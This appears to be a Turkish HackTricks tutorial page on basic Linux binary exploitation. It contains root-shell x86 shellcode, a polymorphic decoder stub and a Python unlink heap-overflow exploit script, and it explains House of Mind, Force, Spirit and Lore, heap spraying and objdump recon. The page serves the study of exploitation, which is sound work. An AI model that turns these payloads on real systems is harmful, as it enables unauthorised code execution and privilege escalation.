28 KiB
Linux Exploiting (Temel) (TUR)
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
2.SHELLCODE
Kernel kesmelerini görüntüle: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; eax'ı temizle
xor ebx, ebx ; ebx = 0 çünkü geçirilecek bir argüman yok
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Sistem çağrısını yürüt
nasm -f elf assembly.asm —> Bir .o dosyası döndürür
ld assembly.o -o shellcodeout —> Derlenmiş kodu içeren yürütülebilir dosyayı verir ve objdump ile opcode'ları çıkarabiliriz
objdump -d -Mintel ./shellcodeout —> Gerçekten shellcodemuz olduğunu ve opcode'ları çıkarmak için
Shellcodenin çalıştığını kontrol etmek
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Para doğru sistem çağrılarının yapıldığını görmek için önceki program derlenmeli ve sistem çağrıları **strace ./DERLENMİŞ_PROGRAM** içinde görünmelidir.
Shellcode'lar oluştururken bir hile yapılabilir. İlk talimat bir çağrıya bir sıçrama yapmaktır. Çağrı, orijinal kodu çağırır ve ayrıca EIP'yi yığına yerleştirir. Çağrı talimatından sonra ihtiyacımız olan dizeyi yerleştirdik, bu nedenle bu EIP ile dizeyi işaretleyebilir ve aynı zamanda kodu devam ettirebiliriz.
ÖR **HİLE (/bin/sh)**:
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Stack Kullanarak EIP Kontrolü:
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Yumurta Avcısı:
Bir işleme ilişkilendirilen bellek sayfalarını dolaşarak orada saklanan shellcode'u arayan küçük bir kod parçasıdır (shellcode'da yer alan bir imza arar). Kod enjekte etmek için sadece küçük bir alanın olduğu durumlarda faydalıdır.
Polimorfik Shellcode'lar
Küçük kodlarla şifrelenmiş kabuklardır ve bunları çözen ve onlara atlayan küçük kodlar içerirler, Call-Pop hilesini kullanarak şifrelenmiş bir örnek şöyle olabilir:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Ek Yöntemler
8 Heap Taşmaları: Temel Saldırılar
Ayrılmış Parça
prev_size |
size | —Başlık
*mem | Veri
Boş Parça
prev_size |
size |
*fd | İleri parça işaretçisi
*bk | Geri parça işaretçisi —Başlık
*mem | Veri
Boş parçalar çift bağlı bir liste içindedir (bin) ve hiçbir zaman yan yana iki boş parça olamaz (birleştirilirler).
"size" içindeki bitler şunları belirtir: Önceki parça kullanımda mı, parça mmap() ile ayrıldı mı ve parça ana alana mı ait.
Bir parça serbest bırakıldığında, yanındaki parçalardan herhangi biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve daha büyük yeni parça frontlink() e geçirilir ve uygun bin içine eklenir.
unlink(){
BK = P->bk; —> Yeni parçanın BK'sı önceden boş olanın BK'si olur
FD = P->fd; —> Yeni parçanın FD'si önceden boş olanın FD'si olur
FD->bk = BK; —> Sonraki parçanın BK'sı yeni parçaya işaret eder
BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder
}
Bu nedenle, P->bk'yi bir shellcode'un adresiyle ve P->fd'yi GOT veya DTORS'taki bir girişin adresi eksi 12 ile değiştirebilirsek şunlar gerçekleşir:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
Ve böylece programdan çıkarken shellcode çalıştırılır.
Ayrıca, unlink()'in 4. ifadesi bir şey yazıyor ve shellcode bunun için düzeltilmelidir:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı bunu atlamak ve shellcode'un geri kalanına gitmek için bir jmp olmalıdır.
Bu nedenle, saldırı şu şekilde oluşturulur:
Buffer1'e shellcode eklenir, nops'a veya shellcode'un geri kalanına düşmesi için bir jmp ile başlar.
Shellcode'un ardından, bir sonraki parçanın prev_size ve size alanına ulaşana kadar doldurma yapılır. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten bitin üzerine yazılması) ve "-4" (0xfffffffc) size'a yazılır (3. parçanın 2. parçanın gerçekte boş olup olmadığını kontrol ettiğinde, değiştirilmiş prev_size'a gider) -> Bu şekilde, free() kontrol ettiğinde 3. parçanın size'ına gidecek ancak gerçekte 2. parçanın - 4'e gidecek ve 2. parçanın boş olduğunu düşünecek. Ve sonra unlink() çağrılacak.
unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verileri kullanılacağından, buraya üzerine yazılacak adres - 12 olacak (çünkü FD->bk'da FD'de saklanan adrese 12 ekleyecek). Ve bu adrese, 2. parçada bulunan ikinci adresi ekleyeceğiz, bu da shellcode'un adresi olacak (sahte P->bk).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de doldurma
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Önceki parçanın boş olduğunu belirten bitin 1 olması önemli
fake_size = pack("<I”, 0xfffffffc) #-4, 3. parçanın size'ının 4 bayt geride olduğunu düşünmesi için (prev_size'ı işaret eder) çünkü 2. parçanın boş olup olmadığını kontrol ederken buraya bakar
addr_sc = pack("<I", 0x0804a008 + 8) #Payload'da başta 8 bayt doldurma olacak
**got_free = pack("<I", 0x08048300 - 12) #free() fonksiyonunun adresi plt-12 (shellcode'u çalıştırmak için üzerine yazılacak adres) **
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Payload'ın başında 8 bayt doldurma olacak
payload += prev_size + fake_size + got_free + addr_sc #2. parça değiştirilir, got_free, saklanacak adresin (addr_sc + 12) nereye işaret edeceğini gösterir
os.system("./8.3.o " + payload)
unset() (wargame'de) ters sırada serbest bırakma
Üç ardışık parçayı kontrol ediyoruz ve rezerve edildiği sıranın tersine serbest bırakılıyor.
Bu durumda:
c parçasına shellcode yerleştirilir
a parçasını, a parçasının boş olduğunu düşünmesi için size'da PREV_INUSE bitini devre dışı bırakacak şekilde üzerine yazmak için kullanırız.
Ayrıca, b başlığında size değeri -4 olacak şekilde üzerine yazılır.
Bu durumda, program "a"nın boş olduğunu ve bir binde olduğunu düşünecek ve onu çözmek için unlink() çağrılacak. Ancak, çünkü başlık PREV_SIZE -4 değerine sahip, "a" parçasının aslında b+4'te başladığını düşünecek. Yani, b+4'te başlayan bir parçayı çözecek, bu da b+12'de "fd" işaretçisi ve b+16'da "bk" işaretçisi olacak.
Bu şekilde, bk'ya shellcode'un adresini ve fd'ye "puts()" fonksiyonunun adresini -12 olarak koyarsak, payload'ımız hazır olur.
Frontlink Tekniği
Bir şey serbest bırakıldığında ve yanındaki parçalar boş değilse, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
Saldırılan malloc hiçbir zaman serbest bırakılmazsa (free()) yararlı bir zayıflık.
Gereksinimler:
Veri girişi işleviyle taşma yapılabilen bir tampon
Bu tampona bitişik serbest bırakılacak ve başlık alanındaki fd'si taşma tamponundan dolayı değiştirilecek bir tampon
512'den büyük ancak önceki tampondan küçük bir boyuta sahip serbest bırakılacak bir tampon
Bu adımlardan önce tanımlanmış bir tampon, bu sayede iki malloc'a kontrolsüz bir şekilde ve biri kontrol edilerek üzerine yazma yaparak bir saldırı gerçekleştirilebilir.
Çift free() Zayıflığı
Aynı işaretçiyle iki kez free() çağrılırsa, aynı adrese işaret eden iki bin oluşur.
Birini tekrar kullanmak istendiğinde sorunsuzca atanır. Diğerini kullanmak istendiğinde, aynı alan atanır, bu da önceki rezervasyonun yazacağı verilerle yanıltılmış "fd" ve "bk" işaretçilerine sahip olacağımız anlamına gelir.
free() Sonrası
Önceden serbest bırakılan bir işaretçi kontrolsüz bir şekilde tekrar kullanılır.
8 Heap Taşmaları: İleri Düzey Saldırılar
Unlink() ve FrontLink() teknikleri, unlink() fonksiyonu değiştirilerek kaldırıldı.
Zihin Evi
Kodun keyfi olarak yürütülmesini sağlamak için sadece bir free() çağrısı gereklidir. Bir önceki parçayı taşımak ve serbest bırakmak için taşan bir ikinci parça aramak önemlidir.
Bir free() çağrısı, public_fREe(mem) fonksiyonunu çağırır, bu fonksiyon:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Parçanın başladığı adresi (mem-8) döndürür
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
[1] kısmında, NON_MAIN_ARENA bitini kontrol eder, bu biti değiştirerek kontrolün true dönmesini sağlayabilir ve heap_for_ptr() fonksiyonunu çalıştırabiliriz. Bu işlem, "mem" üzerinde bir and işlemi yaparak en az önemli 2.5 baytı sıfırlar (örneğin, 0x0804a000 adresinde 0x08000000 bırakır) ve 0x08000000->ar_ptr adresine erişir (struct heap_info gibi).
Bu şekilde, örneğin 0x0804a000 adresinde bir parçayı kontrol edebilir ve 0x081002a0 adresinde bir parça serbest bırakılacaksa 0x08100000 adresine ulaşabilir ve istediğimizi yazabiliriz, örneğin 0x0804a000. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'nin 0x08100000 adresine yazdığımızı görecektir (çünkü önceki and işlemi uygulanır ve buradan ilk 4 baytın değeri, yani ar_ptr alınır).
Bu şekilde _int_free(ar_ptr, mem) çağrılır, yani _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Daha önce gördüğümüz gibi av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçaya yazdığımız değerdir.
unsorted_chunks fonksiyonunun tanımına göre biliyoruz ki:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Bu nedenle av->bins[2] adresine __DTOR_END__-12 adresini yazarsak, son komutta __DTOR_END__ adresine ikinci parçanın adresi yazılacaktır.
Yani, ilk parçaya __DTOR_END__-12 adresini başa birçok kez koymamız gerekiyor, çünkü av->bins[2] buradan değeri alacak.
İkinci parçada ve birinci parçanın yardımıyla prev_size'a bir 0x0c ataması ve size'a -> NON_MAIN_ARENA'ı etkinleştirmek için bir değer yazıyoruz.
Sonra, parça 2'ye bir sürü nops ve sonunda shellcode ekliyoruz.
Bu şekilde _int_free(TROZO1, TROZO2) çağrılacak ve __DTOR_END__ adresine TROZO2'nin prev_size adresi yazılacak ve shellcode'a atlayacak.
Bu tekniği uygulamak için payload'u biraz daha karmaşık hale getiren bazı gereksinimlerin karşılanması gerekmektedir.
Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yama uygulandı. Yeni hedefin de kendisine işaret edilip edilmediği kontrol edilir.
Fastbin
Zihin Evi'nin bir varyantıdır
İlk _int_free() fonksiyonunun ilk kontrolünden sonra ulaşılan kodu yürütmek istiyoruz.
fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Bu şekilde, "fb" adresi GOT'taki bir fonksiyonun adresini gösteriyorsa, bu adrese üzerine yazılacak olan parça adresi konulacaktır. Bunun için arenanın dtor adreslerine yakın olması gerekmektedir. Daha doğrusu, av->max_fast'in üzerine yazılacak olan adreste olması gerekmektedir.
Zihin Evi ile arenanın konumunu kontrol edebileceğimizi gördüğümüz için.
Bu durumda, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE boyutunu yazarsak, fastbin_index() bize fastbins[-1] adresini döndürecektir, bu da av->max_fast adresine işaret edecektir.
Bu durumda av->max_fast üzerine yazılacak (işaret edilen değil, üzerine yazılacak olan) adres olacaktır.
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunun 8 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut yazmamız yeterlidir (ayrıca shellcode'un serbest bırakılan parçada olacağını düşünerek, sahte yeni parçanın boyut alanına atlamak için bir jmp koymamız gerekecektir).
Ayrıca, bu sahte parça av->system_mem'den küçük olmalıdır. av->system_mem, bu konumdan 1848 bayt uzakta bulunmaktadır.
_DTOR_END_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri üzerine yazılacak uygun bir adres değildir, bu yüzden pili hedeflemek için fastbin'i nasıl kullanacağımıza bakalım.
Başka bir saldırı şekli, av'yi pile yönlendirmektir.
Size değerini 8 yerine 16 yaparsak: fastbin_index() bize fastbins[0] döndürecektir ve bunu kullanarak pile yazabiliriz.
Bunun için pile canary veya garip değerler olmamalıdır, aslında şu şekilde olmalıdır: 4 bayt null + EBP + RET
4 bayt null, av'nin bu adreste olacağı ve bir av'nin ilk öğesinin 0 olması gerektiği anlamına gelir.
av->max_fast, EBP olacak ve bizi kısıtlamalardan geçirecek bir değer olacak.
av->fastbins[0] adresi p'nin adresiyle üzerine yazılacak ve RET olacak, böylece shellcode'a atlanacak.
Ayrıca, av->system_mem (pile göre 1484 bayt yukarıda) üzerinde, kontrolü atlamamıza izin verecek birçok çöp olacaktır.
Serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunun 16 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut yazmamız yeterlidir (ayrıca shellcode'un serbest bırakılan parçada olacağını düşünerek, sahte yeni parçanın boyut alanına atlamak için bir jmp koymamız gerekecektir).
Ruh Evi
Bu durumda, saldırganın değiştirebileceği bir malloc işaretçisine sahip olmak istiyoruz (örneğin, işaretçinin bir değişken üzerindeki taşmaya işaret ettiği yığında olması).
Böylece, bu işaretçiyi istediğimiz yere işaret edecek şekilde yapabiliriz. Ancak, herhangi bir yer uygun değildir, sahte parçanın boyutu av->max_fast'tan küçük olmalı ve daha spesifik olarak gelecekteki bir malloc() çağrısında talep edilen boyuta 8 eklenmelidir. Bu nedenle, bu savunmasız işaretçiden sonra bir malloc(40) çağrılacağını biliyorsak, sahte parçanın boyutu 48 olmalıdır.
Si örneğin program kullanıcıdan bir sayı istiyorsa, 48 girebilir ve değiştirilebilir malloc işaretçisini (şans eseri EBP'ye ait olabilecek 4 bayt sonrasına) işaretleyebiliriz, böylece 48 geride kalır, sanki başlık boyutu gibi. Ayrıca, ptr-4+48 adresinin birkaç koşulu karşılaması gerekir (bu durumda ptr=EBP), yani 8 < ptr-4+48 < av->system_mem olmalıdır.
Bu koşul sağlandığında, söylediğimiz gibi malloc(40) çağrıldığında, EBP'nin adresi olarak EBP'nin adresi atanır. Saldırganın bu malloc'ta ne yazılacağını da kontrol edebilmesi durumunda hem EBP hem de EIP'nin istediği adrese yazılabilir.
Bunu, free() işlevi çağrıldığında, yeni malloc() için rezerve edilmek istenen mükemmel boyutta bir parça olduğunu kaydedeceği için yapar, bu nedenle o adrese atanır.
**The House of Force**
Gerekli olanlar:
* Wilderness'ı üzerine yazabileceğimiz bir parça taşma
* Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı
* Kullanıcı tarafından tanımlanan verilere sahip bir malloc() çağrısı
İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) değiştiririz, böylece yeterince büyük bir bellek isteği \_int\_malloc() içinde heap'i genişletmeden işlenecektir.
İkincisi, av->top'un saldırganın kontrolü altındaki bir bellek bölgesine, örneğin stack'e, işaret etmesini sağlamak için av->top'u değiştiririz. av->top'a \&EIP - 8 konulur.
Saldırganın kontrolü altındaki bellek bölgesine işaret eden av->top'u değiştirmemiz gerekmektedir:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim, mevcut wilderness parçasının adresini (mevcut av->top) alır ve kalan tam olarak bu adresin malloc() tarafından talep edilen bayt sayısı ile toplamıdır. Dolayısıyla, \&EIP-8 0xbffff224 adresindeyse ve av->top 0x080c2788 adresini içeriyorsa, av->top'un bir sonraki malloc() için \&EIP-8'e işaret etmesini istediğimizde kontrol edilen malloc için rezerve edilmesi gereken bayt miktarı şudur:
0xbffff224 - 0x080c2788 = 3086207644.
Bu şekilde değiştirilmiş değer av->top'a kaydedilir ve bir sonraki malloc EIP'ye işaret eder ve üzerine yazılabilir.
Yeni wilderness parçasının boyutunun, son malloc() tarafından yapılan istekten daha büyük olması önemlidir. Yani, eğer wilderness \&EIP-8'e işaret ediyorsa, boyut tam olarak stack'in EBP alanında olacaktır.
**The House of Lore**
**SmallBin Bozulması**
Serbest bırakılan parçalar, boyutlarına göre bir bine yerleştirilir. Ancak, unsorted bins'e önce yerleştirilirler. Bir parça serbest bırakıldığında hemen binine konulmaz, unsorted bins'te kalır. Daha sonra, yeni bir parça rezerve edilirse ve önceki serbest bırakılan parça ona hizmet edebilirse, o parça geri verilir, ancak daha büyük bir parça rezerve edilirse, unsorted bins'teki serbest bırakılan parça uygun binine konulur.
Kodun savunmasız hale gelmesi için bellek isteği av->max_fast'tan büyük (genellikle 72) ve MIN_LARGE_SIZE'dan (512) küçük olmalıdır.
Eğer binde istenilen boyutta bir parça varsa, bu parça çözülüp geri verilir:
bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.
bin->bk = bck; Önceki parça son parça olur, bck stack'e işaret ediyorsa, bir sonraki rezerve edilen parçaya bu adres verilecektir.
bck->fd = bin; Liste kapatılır ve bu bin'e işaret edilir.
Gerekli olanlar:
İkinci parçanın serbest bırakıldıktan sonra taşma yapılabilmesi için iki malloc rezerve edilmesi gerekmektedir (yani taşma yapmadan önce ikinci parçadan daha büyük bir malloc rezerve edilmiş olmalıdır)
Saldırganın seçtiği adrese verilen adresi kontrol edebileceği bir malloc rezerve edilmelidir.
Hedef şudur, bir heap'e taşma yapabilirsek ve altında serbest bırakılmış ve binine konulmuş bir parça varsa, bk işaretçisini değiştirebiliriz. Bk işaretçisini değiştirirsek ve bu parça bin listesinde ilk parça haline gelirse ve rezerve edilirse, bin yanıltılacak ve listenin son parçasının (teklif edilen sonraki parça) yanlış adreste olduğuna inanacaktır (örneğin stack veya GOT). Bu nedenle, başka bir parça rezerve edilirse ve saldırganın izinleri varsa, istenen konumda bir parça alacak ve üzerine yazabilecektir.
Değiştirilmiş parçanın serbest bırakılmasından sonra serbest bırakılan parçadan daha büyük bir parça rezerve edilmesi gerekmektedir, böylece değiştirilmiş parça unsorted bins'ten çıkar ve uygun binine konulur.
Uygun binine konulduğunda, taşma yaparak bk işaretçisini değiştirmenin zamanı gelir, böylece istediğimiz adrese işaret eder.
Bu saldırının mümkün olduğu kadar hızlı gerçekleşmesi için ideal olan şudur: Savunmasız parçanın rezervasyonu, değiştirilecek parçanın rezervasyonu, bu parçanın serbest bırakılması, değiştirilecek parçadan daha büyük bir parçanın rezervasyonu, parçanın değiştirilmesi (savunmasızlık), savunmasız parçadan aynı boyutta bir parça ve ikinci bir parça rezervasyonu yapılır ve bu, istenen adrese işaret eden parça olacaktır.
Bu saldırıyı korumak için, parçanın "sahte olmadığı" tipik bir kontrol kullanılır: bck->fd'nin victim'a işaret ettiği kontrol edilir. Yani, bizim durumumuzda, stack'te işaret edilen sahte parçanın fd\* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için saldırganın, stack'te muhtemelen, doğru adrese victim'ın adresini yazabilmesi gerekir. Böylece, gerçek bir parça gibi görünür.
**LargeBin Bozulması**
Önceki gereksinimlerin yanı sıra, rezerve edilen parçaların 512'den büyük olması gerekmektedir.
Saldırı, öncekiyle aynıdır, yani bk işaretçisini değiştirmek gereklidir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca değiştirilen parçanın boyutunu değiştirmek gerekmektedir, böylece bu boyut - nb < MINSIZE olur.
Örneğin, 1552 boyutunda bir parça koyarak 1552 - 1544 = 8 < MINSIZE olacak şekilde boyutu değiştiririz (çıkarma işlemi negatif olmamalıdır çünkü unsigned karşılaştırma yapılır).
Ayrıca, işi daha da karmaşık hale getirmek için bir yama eklenmiştir.
**Heap Spraying**
Temelde, tüm mümkün belleği heap'ler için rezerve etmek ve bunları bir shellcode ile biten bir nops yastığı ile doldurmaktır. Ayrıca, yastık olarak 0x0c kullanılır. Yani, 0x0c0c0c0c adresine atlamaya çalışılacak ve böylece bu yastıkla çağrılacak bir adrese yazılırsa oraya atlanacaktır. Temel olarak taktik, bir noktaya kadar rezerve etmek ve herhangi bir işaretçiyi üzerine yazıp yazmadığını görmektir ve 0x0c0c0c0c adresine atlamayı ummaktır.
**Heap Feng Shui**
Belleği rezerve ederek ve serbest bırakarak belleği sementlemek ve serbest parçalar arasında rezerve edilmiş parçalar bırakmak anlamına gelir. Taşmaya neden olacak tampon bir yumurtanın içine yerleştirilir.
**objdump -d executable** —> Fonksiyonları ayrıştırır\
**objdump -d ./PROGRAMA | grep FUNCTION** —> Fonksiyon adresini alır\
**objdump -d -Mintel ./shellcodeout** —> Shellcode'un bizimkisi olduğunu ve OpCodes'leri almak için
**objdump -t ./exec | grep varBss** —> Değişkenlerin ve fonksiyonların adreslerini almak için sembol tablosu\
**objdump -TR ./exec | grep exit(func lib)** —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> GOT'ta üzerine yazılacak puts adresini alır\
**objdump -D ./exec** —> Tümüne kadar disas\
**objdump -p -/exec**\
**Info functions strncmp —>** gdb'de fonksiyon hakkında bilgi
## İlginç Kurslar
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
* [https://pwnable.tw/](https://pwnable.tw/)
* [https://ctf.hackucf.org/](https://ctf.hackucf.org/)
## **Referanslar**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun.
</details>